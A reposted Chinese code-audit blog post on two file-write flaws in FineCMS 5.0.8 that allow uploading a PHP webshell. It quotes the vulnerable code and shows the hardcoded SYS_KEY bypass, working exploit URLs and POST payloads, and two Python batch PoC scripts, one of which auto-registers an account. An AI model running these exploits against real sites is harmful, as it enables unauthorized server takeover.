声明

该文章为转载总结文章,如有侵权,请联系JoCatWFY@163.com

0x01 前言

就要被**,美其名曰:比我的web安全研究和代码审计更有前途。当然是选择原谅他啦。
先审计finecms去去火,找到六处漏洞,先放两处容易被发现的getshell和对应的两个python脚本

0x02 getshell

第一处getshell:在C:/phpStudy/WWW/finecms/dayrui/controllers/Api.php中的data2函数,大约在第115行,有问题的代码大约在178行

public function data2() {

$data = array();

// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {

if ($param == 'login') {
// 登录认证
$code = $this->member_model->login(
$this->input->get('username'),
$this->input->get('password'),
0, 1);
if (is_array($code)) {
$data = array(
'msg' => 'ok',
'code' => 1,
'return' => $this->member_model->get_member($code['uid'])
);
} elseif ($code == -1) {
$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
} elseif ($code == -2) {
$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
} elseif ($code == -3) {
$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
} elseif ($code == -4) {
$data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);
}
} elseif ($param == 'update_avatar') {
// 更新头像
$uid = (int)$_REQUEST['uid'];
$file = $_REQUEST['file'];
//
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
@dr_dir_delete($dir);
if (!is_dir($dir)) {
dr_mkdirs($dir);
}
$file = str_replace(' ', '+', $file);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
$data = array(
'msg' => '目录权限不足或磁盘已满',
'code' => 0
);
}

其中,首先

$file = $_REQUEST['file'];

获取$file变量

if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
$data = array(
'msg' => '目录权限不足或磁盘已满',
'code' => 0
);

然后用preg_match函数进行正则匹配,因为$file变量可控,所以$result也是可控的,从而$new_file也是可控的,可以构造为php文件,然后

file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))

对$result[1]进行base64解码,然后写入$new_file文件中。显然,是可以任意写文件进行getshell的。所以,我们要让程序能够运行到这些代码,不能在之前就退出了。要经过

$auth = $this->input->get('auth');
if ($auth != md5(SYS_KEY))

SYS_KEY被系统硬编码为24b16fede9a67c9251d3e7c7161c83ac,在C:phpStudyWWWconfigsystem.php中有定义。直接md5加密一次即可绕过

所以最终的payload为

http://localhost:88/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

无需登录,直接getshell,路径为http://localhost:88/uploadfile/member/0/0x0.php
sf8wdJ.png

第二处getshell:在文件C:/phpStudy/WWW/finecms/dayrui/controllers/member/Account.php中的upload函数

if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));

注册会员,登录

访问:http://localhost:88/index.php?s=member&c=account&m=upload
POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

sf8dZ4.png
sf8ULF.png

0x03 Python批量poc脚本

pocsuite和poc-T是两个成熟的poc框架,不过感觉核心代码是别人的,只写一些poc插件的话,就是为别人造轮子,所以抽了一些代码写了个自己的工具,可能连轻型框架都算不上,只够自己用的。
第一处getshell的python代码(因为是直接getshell,无需登录,所以很简单):

import sys
import requests
def poc(target):
payload="/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+"
url=target+payload
shell=target+'/uploadfile/member/0/0x0.php'
try:
result=requests.get(url,timeout=3)
verify=requests.get(shell,timeout=3)
if verify.status_code==200 and 'code' in verify.text:
return True
except Exception,e:
print e

第二处getshell的Python代码(需要自动化注册、登录、利用):

#Finecms version:5.0.8
#Author:404notfound

import random
import sys
import requests
def poc(url):
username=random.randint(0,999999)
seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
email = []
for i in range(8):
email.append(random.choice(seed))
email = ''.join(email)
#print email+"@"+email+".com"
#print username

#step 1 register
#print "[+] register user"
register_url=url+"/index.php?s=member&c=register&m=index"
register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":email+"@"+email+".com"}
#step 2 login
#print "[+] user login"
login_url=url+"/index.php?s=member&c=login&m=index"
login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"}
#step 3 attack
#print "[+] loading payload"
vul_url=url+"/index.php?s=member&c=account&m=upload"
vul_payload={"tx":"data:image/php;base64,NDA0bm90Zm91bmQ8P3BocCBwaHBpbmZvKCk7Pz4="}
try:
s = requests.session()
resu=s.post(register_url,data=register_payload)
result=s.post(login_url,data=login_payload)
result2=s.post(vul_url,data=vul_payload).content
if "status" in result2:
return True
else:
return False
except Exception,e:
pass
#print e
#print "[+] ALL DONE"
#step 4 find shell path

#print poc("http://localhost")

主代码就不贴了,可以看我的GitHub:https://github.com/404notf0und